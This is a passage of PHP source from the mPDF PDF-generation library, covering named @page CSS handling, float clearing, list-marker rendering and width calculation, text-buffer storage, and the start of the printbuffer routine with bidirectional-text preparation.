unset($p['ODD-HEADER-NAME']); } if (isset($p['EVEN-FOOTER-NAME']) && $oddEven == 'E') { $p['FOOTER'] = $p['EVEN-FOOTER-NAME']; unset($p['EVEN-FOOTER-NAME']); } if (isset($p['ODD-FOOTER-NAME']) && $oddEven != 'E') { $p['FOOTER'] = $p['ODD-FOOTER-NAME']; unset($p['ODD-FOOTER-NAME']); } // If named right/Odd page if (isset($this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>RIGHT']) && $side == 'R') { $zp = $this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>RIGHT']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :LEFT or :RIGHT if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } // If named left/Even page if (isset($this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>LEFT']) && $side == 'L') { $zp = $this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>LEFT']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :LEFT or :RIGHT if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } // If named first page if (isset($this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>FIRST']) && $first) { $zp = $this->cssManager->CSS['@PAGE>>NAMED>>' . $name . '>>PSEUDO>>FIRST']; } else { $zp = []; } if (isset($zp['SIZE'])) { unset($zp['SIZE']); } if (isset($zp['SHEET-SIZE'])) { unset($zp['SHEET-SIZE']); } // Disallow margin-left or -right on :FIRST // mPDF 5.7.3 if (isset($zp['MARGIN-LEFT'])) { unset($zp['MARGIN-LEFT']); } if (isset($zp['MARGIN-RIGHT'])) { unset($zp['MARGIN-RIGHT']); } if (is_array($zp) && !empty($zp)) { $p = array_merge($p, $zp); } } $orientation = $mgl = $mgr = $mgt = $mgb = $mgh = $mgf = ''; $header = $footer = ''; $resetpagenum = $pagenumstyle = $suppress = ''; $marks = ''; $bg = []; $newformat = ''; if (isset($p['SHEET-SIZE']) && is_array($p['SHEET-SIZE'])) { $newformat = $p['SHEET-SIZE']; if ($newformat[0] > $newformat[1]) { // landscape $newformat = array_reverse($newformat); $p['ORIENTATION'] = 'L'; } else { $p['ORIENTATION'] = 'P'; } $this->_setPageSize($newformat, $p['ORIENTATION']); } if (isset($p['SIZE']) && is_array($p['SIZE']) && !$newformat) { if ($p['SIZE']['W'] > $p['SIZE']['H']) { $p['ORIENTATION'] = 'L'; } else { $p['ORIENTATION'] = 'P'; } } if (is_array($p['SIZE'])) { if ($p['SIZE']['W'] > $this->fw) { $p['SIZE']['W'] = $this->fw; } // mPD 4.2 use fw not fPt if ($p['SIZE']['H'] > $this->fh) { $p['SIZE']['H'] = $this->fh; } if (($p['ORIENTATION'] == $this->DefOrientation && !$newformat) || ($newformat && $p['ORIENTATION'] == 'P')) { $outer_width_LR = ($this->fw - $p['SIZE']['W']) / 2; $outer_width_TB = ($this->fh - $p['SIZE']['H']) / 2; } else { $outer_width_LR = ($this->fh - $p['SIZE']['W']) / 2; $outer_width_TB = ($this->fw - $p['SIZE']['H']) / 2; } $pgw = $p['SIZE']['W']; $pgh = $p['SIZE']['H']; } else { // AUTO LANDSCAPE PORTRAIT $outer_width_LR = 0; $outer_width_TB = 0; if (!$newformat) { if (strtoupper($p['SIZE']) == 'AUTO') { $p['ORIENTATION'] = $this->DefOrientation; } elseif (strtoupper($p['SIZE']) == 'LANDSCAPE') { $p['ORIENTATION'] = 'L'; } else { $p['ORIENTATION'] = 'P'; } } if (($p['ORIENTATION'] == $this->DefOrientation && !$newformat) || ($newformat && $p['ORIENTATION'] == 'P')) { $pgw = $this->fw; $pgh = $this->fh; } else { $pgw = $this->fh; $pgh = $this->fw; } } if (isset($p['HEADER']) && $p['HEADER']) { $header = $p['HEADER']; } if (isset($p['FOOTER']) && $p['FOOTER']) { $footer = $p['FOOTER']; } if (isset($p['RESETPAGENUM']) && $p['RESETPAGENUM']) { $resetpagenum = $p['RESETPAGENUM']; } if (isset($p['PAGENUMSTYLE']) && $p['PAGENUMSTYLE']) { $pagenumstyle = $p['PAGENUMSTYLE']; } if (isset($p['SUPPRESS']) && $p['SUPPRESS']) { $suppress = $p['SUPPRESS']; } if (isset($p['MARKS'])) { if (preg_match('/cross/i', $p['MARKS']) && preg_match('/crop/i', $p['MARKS'])) { $marks = 'CROPCROSS'; } elseif (strtoupper($p['MARKS']) == 'CROP') { $marks = 'CROP'; } elseif (strtoupper($p['MARKS']) == 'CROSS') { $marks = 'CROSS'; } } if (isset($p['BACKGROUND-COLOR']) && $p['BACKGROUND-COLOR']) { $bg['BACKGROUND-COLOR'] = $p['BACKGROUND-COLOR']; } /* -- BACKGROUNDS -- */ if (isset($p['BACKGROUND-GRADIENT']) && $p['BACKGROUND-GRADIENT']) { $bg['BACKGROUND-GRADIENT'] = $p['BACKGROUND-GRADIENT']; } if (isset($p['BACKGROUND-IMAGE']) && $p['BACKGROUND-IMAGE']) { $bg['BACKGROUND-IMAGE'] = $p['BACKGROUND-IMAGE']; } if (isset($p['BACKGROUND-REPEAT']) && $p['BACKGROUND-REPEAT']) { $bg['BACKGROUND-REPEAT'] = $p['BACKGROUND-REPEAT']; } if (isset($p['BACKGROUND-POSITION']) && $p['BACKGROUND-POSITION']) { $bg['BACKGROUND-POSITION'] = $p['BACKGROUND-POSITION']; } if (isset($p['BACKGROUND-IMAGE-RESIZE']) && $p['BACKGROUND-IMAGE-RESIZE']) { $bg['BACKGROUND-IMAGE-RESIZE'] = $p['BACKGROUND-IMAGE-RESIZE']; } if (isset($p['BACKGROUND-IMAGE-OPACITY'])) { $bg['BACKGROUND-IMAGE-OPACITY'] = $p['BACKGROUND-IMAGE-OPACITY']; } /* -- END BACKGROUNDS -- */ if (isset($p['MARGIN-LEFT'])) { $mgl = $this->sizeConverter->convert($p['MARGIN-LEFT'], $pgw) + $outer_width_LR; } if (isset($p['MARGIN-RIGHT'])) { $mgr = $this->sizeConverter->convert($p['MARGIN-RIGHT'], $pgw) + $outer_width_LR; } if (isset($p['MARGIN-BOTTOM'])) { $mgb = $this->sizeConverter->convert($p['MARGIN-BOTTOM'], $pgh) + $outer_width_TB; } if (isset($p['MARGIN-TOP'])) { $mgt = $this->sizeConverter->convert($p['MARGIN-TOP'], $pgh) + $outer_width_TB; } if (isset($p['MARGIN-HEADER'])) { $mgh = $this->sizeConverter->convert($p['MARGIN-HEADER'], $pgh) + $outer_width_TB; } if (isset($p['MARGIN-FOOTER'])) { $mgf = $this->sizeConverter->convert($p['MARGIN-FOOTER'], $pgh) + $outer_width_TB; } if (isset($p['ORIENTATION']) && $p['ORIENTATION']) { $orientation = $p['ORIENTATION']; } $this->page_box['outer_width_LR'] = $outer_width_LR; // Used in MARKS:crop etc. $this->page_box['outer_width_TB'] = $outer_width_TB; return [$orientation, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $header, $footer, $bg, $resetpagenum, $pagenumstyle, $suppress, $marks, $newformat]; } /* -- END CSS-PAGE -- */ /* -- CSS-FLOAT -- */ // Added mPDF 3.0 Float DIV - CLEAR function ClearFloats($clear, $blklvl = 0) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($blklvl, true); $end = $currpos = ($this->page * 1000 + $this->y); if ($clear == 'BOTH' && ($l_exists || $r_exists)) { $this->pageoutput[$this->page] = []; $end = max($l_max, $r_max, $currpos); } elseif ($clear == 'RIGHT' && $r_exists) { $this->pageoutput[$this->page] = []; $end = max($r_max, $currpos); } elseif ($clear == 'LEFT' && $l_exists) { $this->pageoutput[$this->page] = []; $end = max($l_max, $currpos); } else { return; } $old_page = $this->page; $new_page = intval($end / 1000); if ($old_page != $new_page) { $s = $this->PrintPageBackgrounds(); // Writes after the marker so not overwritten later by page background etc. $this->pages[$this->page] = preg_replace('/(___BACKGROUND___PATTERNS' . $this->uniqstr . ')/', '\\1' . "\n" . $s . "\n", $this->pages[$this->page]); $this->pageBackgrounds = []; $this->page = $new_page; } $this->ResetMargins(); $this->pageoutput[$this->page] = []; $this->y = (($end * 1000) % 1000000) / 1000; // mod changes operands to integers before processing } // Added mPDF 3.0 Float DIV function GetFloatDivInfo($blklvl = 0, $clear = false) { // If blklvl specified, only returns floats at that level - for ClearFloats $l_exists = false; $r_exists = false; $l_max = 0; $r_max = 0; $l_width = 0; $r_width = 0; if (count($this->floatDivs)) { $currpos = ($this->page * 1000 + $this->y); foreach ($this->floatDivs as $f) { if (($clear && $f['blockContext'] == $this->blk[$blklvl]['blockContext']) || (!$clear && $currpos >= $f['startpos'] && $currpos < ($f['endpos'] - 0.001) && $f['blklvl'] > $blklvl && $f['blockContext'] == $this->blk[$blklvl]['blockContext'])) { if ($f['side'] == 'L') { $l_exists = true; $l_max = max($l_max, $f['endpos']); $l_width = max($l_width, $f['w']); } if ($f['side'] == 'R') { $r_exists = true; $r_max = max($r_max, $f['endpos']); $r_width = max($r_width, $f['w']); } } } } return [$l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width]; } /* -- END CSS-FLOAT -- */ // LIST MARKERS // mPDF 6 Lists function _setListMarker($listitemtype, $listitemimage, $listitemposition) { // if position:inside (and NOT table) - output now as a textbuffer; (so if next is block, will move to new line) // elseif position:outside (and NOT table) - output in front of first textbuffer output by setting listitem (cf. _saveTextBuffer) $e = ''; $this->listitem = ''; $spacer = ' '; // IMAGE if ($listitemimage && $listitemimage != 'none') { $listitemimage = trim(preg_replace('/url\(["\']*(.*?)["\']*\)/', '\\1', $listitemimage)); // ? Restrict maximum height/width of list marker?? $maxWidth = 100; $maxHeight = 100; $objattr = []; $objattr['margin_top'] = 0; $objattr['margin_bottom'] = 0; $objattr['margin_left'] = 0; $objattr['margin_right'] = 0; $objattr['padding_top'] = 0; $objattr['padding_bottom'] = 0; $objattr['padding_left'] = 0; $objattr['padding_right'] = 0; $objattr['width'] = 0; $objattr['height'] = 0; $objattr['border_top']['w'] = 0; $objattr['border_bottom']['w'] = 0; $objattr['border_left']['w'] = 0; $objattr['border_right']['w'] = 0; $objattr['visibility'] = 'visible'; $srcpath = $listitemimage; $orig_srcpath = $listitemimage; $objattr['vertical-align'] = 'BS'; // vertical alignment of marker (baseline) $w = 0; $h = 0; // Image file $info = $this->imageProcessor->getImage($srcpath, true, true, $orig_srcpath); if (!$info) { return; } if ($info['w'] == 0 && $info['h'] == 0) { $info['h'] = $this->sizeConverter->convert('1em', $this->blk[$this->blklvl]['inner_width'], $this->FontSize, false); } $objattr['file'] = $srcpath; // Default width and height calculation if needed if ($w == 0 and $h == 0) { /* -- IMAGES-WMF -- */ if ($info['type'] == 'wmf') { // WMF units are twips (1/20pt) // divide by 20 to get points // divide by k to get user units $w = abs($info['w']) / (20 * Mpdf::SCALE); $h = abs($info['h']) / (20 * Mpdf::SCALE); } else { /* -- END IMAGES-WMF -- */ if ($info['type'] == 'svg') { // SVG units are pixels $w = abs($info['w']) / Mpdf::SCALE; $h = abs($info['h']) / Mpdf::SCALE; } else { // Put image at default image dpi $w = ($info['w'] / Mpdf::SCALE) * (72 / $this->img_dpi); $h = ($info['h'] / Mpdf::SCALE) * (72 / $this->img_dpi); } } } // IF WIDTH OR HEIGHT SPECIFIED if ($w == 0) { $w = abs($h * $info['w'] / $info['h']); } if ($h == 0) { $h = abs($w * $info['h'] / $info['w']); } if ($w > $maxWidth) { $w = $maxWidth; $h = abs($w * $info['h'] / $info['w']); } if ($h > $maxHeight) { $h = $maxHeight; $w = abs($h * $info['w'] / $info['h']); } $objattr['type'] = 'image'; $objattr['itype'] = $info['type']; $objattr['orig_h'] = $info['h']; $objattr['orig_w'] = $info['w']; /* -- IMAGES-WMF -- */ if ($info['type'] == 'wmf') { $objattr['wmf_x'] = $info['x']; $objattr['wmf_y'] = $info['y']; } else { /* -- END IMAGES-WMF -- */ if ($info['type'] == 'svg') { $objattr['wmf_x'] = $info['x']; $objattr['wmf_y'] = $info['y']; } } $objattr['height'] = $h; $objattr['width'] = $w; $objattr['image_height'] = $h; $objattr['image_width'] = $w; $objattr['dir'] = (isset($this->blk[$this->blklvl]['direction']) ? $this->blk[$this->blklvl]['direction'] : 'ltr'); $objattr['listmarker'] = true; $objattr['listmarkerposition'] = $listitemposition; $e = "\xbb\xa4\xactype=image,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; $this->_saveTextBuffer($e); if ($listitemposition == 'inside') { $e = $spacer; $this->_saveTextBuffer($e); } } elseif ($listitemtype == 'disc' || $listitemtype == 'circle' || $listitemtype == 'square') { // SYMBOL (needs new font) $objattr = []; $objattr['type'] = 'listmarker'; $objattr['listmarkerposition'] = $listitemposition; $objattr['width'] = 0; $size = $this->sizeConverter->convert($this->list_symbol_size, $this->FontSize); $objattr['size'] = $size; $objattr['offset'] = $this->sizeConverter->convert($this->list_marker_offset, $this->FontSize); if ($listitemposition == 'inside') { $objattr['width'] = $size + $objattr['offset']; } $objattr['height'] = $this->FontSize; $objattr['vertical-align'] = 'T'; $objattr['text'] = ''; $objattr['dir'] = (isset($this->blk[$this->blklvl]['direction']) ? $this->blk[$this->blklvl]['direction'] : 'ltr'); $objattr['bullet'] = $listitemtype; $objattr['colorarray'] = $this->colorarray; $objattr['fontfamily'] = $this->FontFamily; $objattr['fontsize'] = $this->FontSize; $objattr['fontsizept'] = $this->FontSizePt; $objattr['fontstyle'] = $this->FontStyle; $e = "\xbb\xa4\xactype=listmarker,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; $this->listitem = $this->_saveTextBuffer($e, '', '', true); // true returns array } elseif (preg_match('/U\+([a-fA-F0-9]+)/i', $listitemtype, $m)) { // SYMBOL 2 (needs new font) if ($this->_charDefined($this->CurrentFont['cw'], hexdec($m[1]))) { $list_item_marker = UtfString::codeHex2utf($m[1]); } else { $list_item_marker = '-'; } if (preg_match('/rgb\(.*?\)/', $listitemtype, $m)) { $list_item_color = $this->colorConverter->convert($m[0], $this->PDFAXwarnings); } else { $list_item_color = ''; } // SAVE then SET COLR $save_colorarray = $this->colorarray; if ($list_item_color) { $this->colorarray = $list_item_color; } if ($listitemposition == 'inside') { $e = $list_item_marker . $spacer; $this->_saveTextBuffer($e); } else { $objattr = []; $objattr['type'] = 'listmarker'; $objattr['width'] = 0; $objattr['height'] = $this->FontSize; $objattr['vertical-align'] = 'T'; $objattr['text'] = $list_item_marker; $objattr['dir'] = (isset($this->blk[$this->blklvl]['direction']) ? $this->blk[$this->blklvl]['direction'] : 'ltr'); $objattr['colorarray'] = $this->colorarray; $objattr['fontfamily'] = $this->FontFamily; $objattr['fontsize'] = $this->FontSize; $objattr['fontsizept'] = $this->FontSizePt; $objattr['fontstyle'] = $this->FontStyle; $e = "\xbb\xa4\xactype=listmarker,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; $this->listitem = $this->_saveTextBuffer($e, '', '', true); // true returns array } // RESET COLOR $this->colorarray = $save_colorarray; } else { // TEXT $counter = $this->listcounter[$this->listlvl]; if ($listitemtype == 'none') { return; } $num = $this->_getStyledNumber($counter, $listitemtype, true); if ($listitemposition == 'inside') { $e = $num . $this->list_number_suffix . $spacer; $this->_saveTextBuffer($e); } else { if (isset($this->blk[$this->blklvl]['direction']) && $this->blk[$this->blklvl]['direction'] == 'rtl') { // REPLACE MIRRORED RTL $this->list_number_suffix e.g. ) -> ( (NB could use Ucdn::$mirror_pairs) $m = strtr($this->list_number_suffix, ")]}", "([{") . $num; } else { $m = $num . $this->list_number_suffix; } $objattr = []; $objattr['type'] = 'listmarker'; $objattr['width'] = 0; $objattr['height'] = $this->FontSize; $objattr['vertical-align'] = 'T'; $objattr['text'] = $m; $objattr['dir'] = (isset($this->blk[$this->blklvl]['direction']) ? $this->blk[$this->blklvl]['direction'] : 'ltr'); $objattr['colorarray'] = $this->colorarray; $objattr['fontfamily'] = $this->FontFamily; $objattr['fontsize'] = $this->FontSize; $objattr['fontsizept'] = $this->FontSizePt; $objattr['fontstyle'] = $this->FontStyle; $e = "\xbb\xa4\xactype=listmarker,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; $this->listitem = $this->_saveTextBuffer($e, '', '', true); // true returns array } } } // mPDF Lists function _getListMarkerWidth(&$currblk, &$a, &$i) { $blt_width = 0; $markeroffset = $this->sizeConverter->convert($this->list_marker_offset, $this->FontSize); // Get Maximum number in the list $maxnum = $this->listcounter[$this->listlvl]; if ($currblk['list_style_type'] != 'disc' && $currblk['list_style_type'] != 'circle' && $currblk['list_style_type'] != 'square') { $lvl = 1; for ($j = $i + 2; $j < count($a); $j+=2) { $e = $a[$j]; if (!$e) { continue; } if ($e[0] == '/') { // end tag $e = strtoupper(substr($e, 1)); if ($e == 'OL' || $e == 'UL') { if ($lvl == 1) { break; } $lvl--; } } else { // opening tag if (strpos($e, ' ')) { $e = substr($e, 0, strpos($e, ' ')); } $e = strtoupper($e); if ($e == 'LI') { if ($lvl == 1) { $maxnum++; } } elseif ($e == 'OL' || $e == 'UL') { $lvl++; } } } } $decToAlpha = new Conversion\DecToAlpha(); $decToRoman = new Conversion\DecToRoman(); $decToOther = new Conversion\DecToOther($this); switch ($currblk['list_style_type']) { case 'decimal': case '1': $blt_width = $this->GetStringWidth(str_repeat('5', strlen($maxnum)) . $this->list_number_suffix); break; case 'none': $blt_width = 0; break; case 'upper-alpha': case 'upper-latin': case 'A': $maxnumA = $decToAlpha->convert($maxnum, true); if ($maxnum < 13) { $blt_width = $this->GetStringWidth('D' . $this->list_number_suffix); } else { $blt_width = $this->GetStringWidth(str_repeat('W', strlen($maxnumA)) . $this->list_number_suffix); } break; case 'lower-alpha': case 'lower-latin': case 'a': $maxnuma = $decToAlpha->convert($maxnum, false); if ($maxnum < 13) { $blt_width = $this->GetStringWidth('b' . $this->list_number_suffix); } else { $blt_width = $this->GetStringWidth(str_repeat('m', strlen($maxnuma)) . $this->list_number_suffix); } break; case 'upper-roman': case 'I': if ($maxnum > 87) { $bbit = 87; } elseif ($maxnum > 86) { $bbit = 86; } elseif ($maxnum > 37) { $bbit = 38; } elseif ($maxnum > 36) { $bbit = 37; } elseif ($maxnum > 27) { $bbit = 28; } elseif ($maxnum > 26) { $bbit = 27; } elseif ($maxnum > 17) { $bbit = 18; } elseif ($maxnum > 16) { $bbit = 17; } elseif ($maxnum > 7) { $bbit = 8; } elseif ($maxnum > 6) { $bbit = 7; } elseif ($maxnum > 3) { $bbit = 4; } else { $bbit = $maxnum; } $maxlnum = $decToRoman->convert($bbit, true); $blt_width = $this->GetStringWidth($maxlnum . $this->list_number_suffix); break; case 'lower-roman': case 'i': if ($maxnum > 87) { $bbit = 87; } elseif ($maxnum > 86) { $bbit = 86; } elseif ($maxnum > 37) { $bbit = 38; } elseif ($maxnum > 36) { $bbit = 37; } elseif ($maxnum > 27) { $bbit = 28; } elseif ($maxnum > 26) { $bbit = 27; } elseif ($maxnum > 17) { $bbit = 18; } elseif ($maxnum > 16) { $bbit = 17; } elseif ($maxnum > 7) { $bbit = 8; } elseif ($maxnum > 6) { $bbit = 7; } elseif ($maxnum > 3) { $bbit = 4; } else { $bbit = $maxnum; } $maxlnum = $decToRoman->convert($bbit, false); $blt_width = $this->GetStringWidth($maxlnum . $this->list_number_suffix); break; case 'disc': case 'circle': case 'square': $size = $this->sizeConverter->convert($this->list_symbol_size, $this->FontSize); $offset = $this->sizeConverter->convert($this->list_marker_offset, $this->FontSize); $blt_width = $size + $offset; break; case 'arabic-indic': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0660), strlen($maxnum)) . $this->list_number_suffix); break; case 'persian': case 'urdu': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x06F0), strlen($maxnum)) . $this->list_number_suffix); break; case 'bengali': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x09E6), strlen($maxnum)) . $this->list_number_suffix); break; case 'devanagari': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0966), strlen($maxnum)) . $this->list_number_suffix); break; case 'gujarati': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0AE6), strlen($maxnum)) . $this->list_number_suffix); break; case 'gurmukhi': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0A66), strlen($maxnum)) . $this->list_number_suffix); break; case 'kannada': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0CE6), strlen($maxnum)) . $this->list_number_suffix); break; case 'malayalam': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(6, 0x0D66), strlen($maxnum)) . $this->list_number_suffix); break; case 'oriya': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0B66), strlen($maxnum)) . $this->list_number_suffix); break; case 'telugu': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(3, 0x0C66), strlen($maxnum)) . $this->list_number_suffix); break; case 'tamil': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(9, 0x0BE6), strlen($maxnum)) . $this->list_number_suffix); break; case 'thai': $blt_width = $this->GetStringWidth(str_repeat($decToOther->convert(5, 0x0E50), strlen($maxnum)) . $this->list_number_suffix); break; default: $blt_width = $this->GetStringWidth(str_repeat('5', strlen($maxnum)) . $this->list_number_suffix); break; } return ($blt_width + $markeroffset); } function _saveTextBuffer($t, $link = '', $intlink = '', $return = false) { // mPDF 6 Lists $arr = []; $arr[0] = $t; if (isset($link) && $link) { $arr[1] = $link; } $arr[2] = $this->currentfontstyle; if (isset($this->colorarray) && $this->colorarray) { $arr[3] = $this->colorarray; } $arr[4] = $this->currentfontfamily; $arr[5] = $this->currentLang; // mPDF 6 if (isset($intlink) && $intlink) { $arr[7] = $intlink; } // mPDF 6 // If Kerning set for OTL, and useOTL has positive value, but has not set for this particular script, // set for kerning via kern table // e.g. Latin script when useOTL set as 0x80 if (isset($this->OTLtags['Plus']) && strpos($this->OTLtags['Plus'], 'kern') !== false && empty($this->OTLdata['GPOSinfo'])) { $this->textvar = ($this->textvar | TextVars::FC_KERNING); } $arr[8] = $this->textvar; // mPDF 5.7.1 if (isset($this->textparam) && $this->textparam) { $arr[9] = $this->textparam; } if (isset($this->spanbgcolorarray) && $this->spanbgcolorarray) { $arr[10] = $this->spanbgcolorarray; } $arr[11] = $this->currentfontsize; if (isset($this->ReqFontStyle) && $this->ReqFontStyle) { $arr[12] = $this->ReqFontStyle; } if (isset($this->lSpacingCSS) && $this->lSpacingCSS) { $arr[14] = $this->lSpacingCSS; } if (isset($this->wSpacingCSS) && $this->wSpacingCSS) { $arr[15] = $this->wSpacingCSS; } if (isset($this->spanborddet) && $this->spanborddet) { $arr[16] = $this->spanborddet; } if (isset($this->textshadow) && $this->textshadow) { $arr[17] = $this->textshadow; } if (isset($this->OTLdata) && $this->OTLdata) { $arr[18] = $this->OTLdata; $this->OTLdata = []; } // mPDF 5.7.1 else { $arr[18] = null; } // mPDF 6 Lists if ($return) { return ($arr); } if ($this->listitem) { $this->textbuffer[] = $this->listitem; $this->listitem = []; } $this->textbuffer[] = $arr; } function _saveCellTextBuffer($t, $link = '', $intlink = '') { $arr = []; $arr[0] = $t; if (isset($link) && $link) { $arr[1] = $link; } $arr[2] = $this->currentfontstyle; if (isset($this->colorarray) && $this->colorarray) { $arr[3] = $this->colorarray; } $arr[4] = $this->currentfontfamily; if (isset($intlink) && $intlink) { $arr[7] = $intlink; } // mPDF 6 // If Kerning set for OTL, and useOTL has positive value, but has not set for this particular script, // set for kerning via kern table // e.g. Latin script when useOTL set as 0x80 if (isset($this->OTLtags['Plus']) && strpos($this->OTLtags['Plus'], 'kern') !== false && empty($this->OTLdata['GPOSinfo'])) { $this->textvar = ($this->textvar | TextVars::FC_KERNING); } $arr[8] = $this->textvar; // mPDF 5.7.1 if (isset($this->textparam) && $this->textparam) { $arr[9] = $this->textparam; } if (isset($this->spanbgcolorarray) && $this->spanbgcolorarray) { $arr[10] = $this->spanbgcolorarray; } $arr[11] = $this->currentfontsize; if (isset($this->ReqFontStyle) && $this->ReqFontStyle) { $arr[12] = $this->ReqFontStyle; } if (isset($this->lSpacingCSS) && $this->lSpacingCSS) { $arr[14] = $this->lSpacingCSS; } if (isset($this->wSpacingCSS) && $this->wSpacingCSS) { $arr[15] = $this->wSpacingCSS; } if (isset($this->spanborddet) && $this->spanborddet) { $arr[16] = $this->spanborddet; } if (isset($this->textshadow) && $this->textshadow) { $arr[17] = $this->textshadow; } if (isset($this->OTLdata) && $this->OTLdata) { $arr[18] = $this->OTLdata; $this->OTLdata = []; } // mPDF 5.7.1 else { $arr[18] = null; } $this->cell[$this->row][$this->col]['textbuffer'][] = $arr; } function printbuffer($arrayaux, $blockstate = 0, $is_table = false, $table_draft = false, $cell_dir = '') { // $blockstate = 0; // NO margins/padding // $blockstate = 1; // Top margins/padding only // $blockstate = 2; // Bottom margins/padding only // $blockstate = 3; // Top & bottom margins/padding $this->spanbgcolorarray = ''; $this->spanbgcolor = false; $this->spanborder = false; $this->spanborddet = []; $paint_ht_corr = 0; /* -- CSS-FLOAT -- */ if (count($this->floatDivs)) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($this->blklvl); if (($this->blk[$this->blklvl]['inner_width'] - $l_width - $r_width) < (2 * $this->GetCharWidth('W', false))) { // Too narrow to fit - try to move down past L or R float if ($l_max < $r_max && ($this->blk[$this->blklvl]['inner_width'] - $r_width) > (2 * $this->GetCharWidth('W', false))) { $this->ClearFloats('LEFT', $this->blklvl); } elseif ($r_max < $l_max && ($this->blk[$this->blklvl]['inner_width'] - $l_width) > (2 * $this->GetCharWidth('W', false))) { $this->ClearFloats('RIGHT', $this->blklvl); } else { $this->ClearFloats('BOTH', $this->blklvl); } } } /* -- END CSS-FLOAT -- */ $bak_y = $this->y; $bak_x = $this->x; $align = ''; if (!$is_table) { if (isset($this->blk[$this->blklvl]['align']) && $this->blk[$this->blklvl]['align']) { $align = $this->blk[$this->blklvl]['align']; } // Block-align is set by e.g. <.. align="center"> Takes priority for this block but not inherited if (isset($this->blk[$this->blklvl]['block-align']) && $this->blk[$this->blklvl]['block-align']) { $align = $this->blk[$this->blklvl]['block-align']; } if (isset($this->blk[$this->blklvl]['direction'])) { $blockdir = $this->blk[$this->blklvl]['direction']; } else { $blockdir = ""; } $this->divwidth = $this->blk[$this->blklvl]['width']; } else { $align = $this->cellTextAlign; $blockdir = $cell_dir; } $oldpage = $this->page; // ADDED for Out of Block now done as Flowing Block if ($this->divwidth == 0) { $this->divwidth = $this->pgwidth; } if (!$is_table) { $this->SetLineHeight($this->FontSizePt, $this->blk[$this->blklvl]['line_height']); } $this->divheight = $this->lineheight; $old_height = $this->divheight; // As a failsafe - if font has been set but not output to page if (!$table_draft) { $this->SetFont($this->default_font, '', $this->default_font_size, true, true); // force output to page } $this->newFlowingBlock($this->divwidth, $this->divheight, $align, $is_table, $blockstate, true, $blockdir, $table_draft); $array_size = count($arrayaux); // Added - Otherwise

did not output top margins/padding for 1st/2nd div if ($array_size == 0) { $this->finishFlowingBlock(true); } // true = END of flowing block // mPDF 6 // ALL the chunks of textbuffer need to have at least basic OTLdata set // First make sure each element/chunk has the OTLdata for Bidi set. for ($i = 0; $i < $array_size; $i++) { if (empty($arrayaux[$i][18])) { if (substr($arrayaux[$i][0], 0, 3) == "\xbb\xa4\xac") { // object identifier has been identified! $unicode = [0xFFFC]; // Object replacement character } else { $unicode = $this->UTF8StringToArray($arrayaux[$i][0], false); } $is_strong = false; $this->getBasicOTLdata($arrayaux[$i][18], $unicode, $is_strong); } // Gets messed up if try and use core fonts inside a paragraph of text which needs to be BiDi re-ordered or OTLdata set if (($blockdir == 'rtl' || $this->biDirectional) && isset($arrayaux[$i][4]) && in_array($arrayaux[$i][4], ['ccourier', 'ctimes', 'chelvetica', 'csymbol', 'czapfdingbats'])) { throw new \Mpdf\MpdfException("You cannot use core fonts in a document which contains RTL text."); } } // mPDF 6 // Process bidirectional text ready for bidi-re-ordering (which is done after line-breaks are established in WriteFlowingBlock etc.) if (($blockdir == 'rtl' || $this->biDirectional) && !$table_draft) { if (empty($this->otl)) { $this->otl = new Otl($this, $this->fontCache); } $this->otl->bidiPrepare($arrayaux, $blockdir); $array_size = count($arrayaux); } // Remove empty items // mPDF 6 for ($i = $array_size - 1; $i > 0; $i--) { if (empty($arrayaux[$i][0]) && (isset($arrayaux[$i][16]) && $arrayaux[$i][16] !== '0') && empty($arrayaux[$i][7])) { unset($arrayaux[$i]); } } // Correct adjoining borders for inline elements if (isset($arrayaux[0][16])) { $lastspanborder = $arrayaux[0][16]; } else { $lastspanborder = false; } for ($i = 1; $i < $array_size; $i++) { if (isset($arrayaux[$i][16]) && $arrayaux[$i][16] == $lastspanborder && ((!isset($arrayaux[$i][9]['bord-decoration']) && !isset($arrayaux[$i - 1][9]['bord-decoration'])) || (isset($arrayaux[$i][9]['bord-decoration']) && isset($arrayaux[$i - 1][9]['bord-decoration']) && $arrayaux[$i][9]['bord-decoration'] == $arrayaux[$i - 1][9]['bord-decoration']) ) ) { if (isset($arrayaux[$i][16]['R'])) { $lastspanborder = $arrayaux[$i][16]; 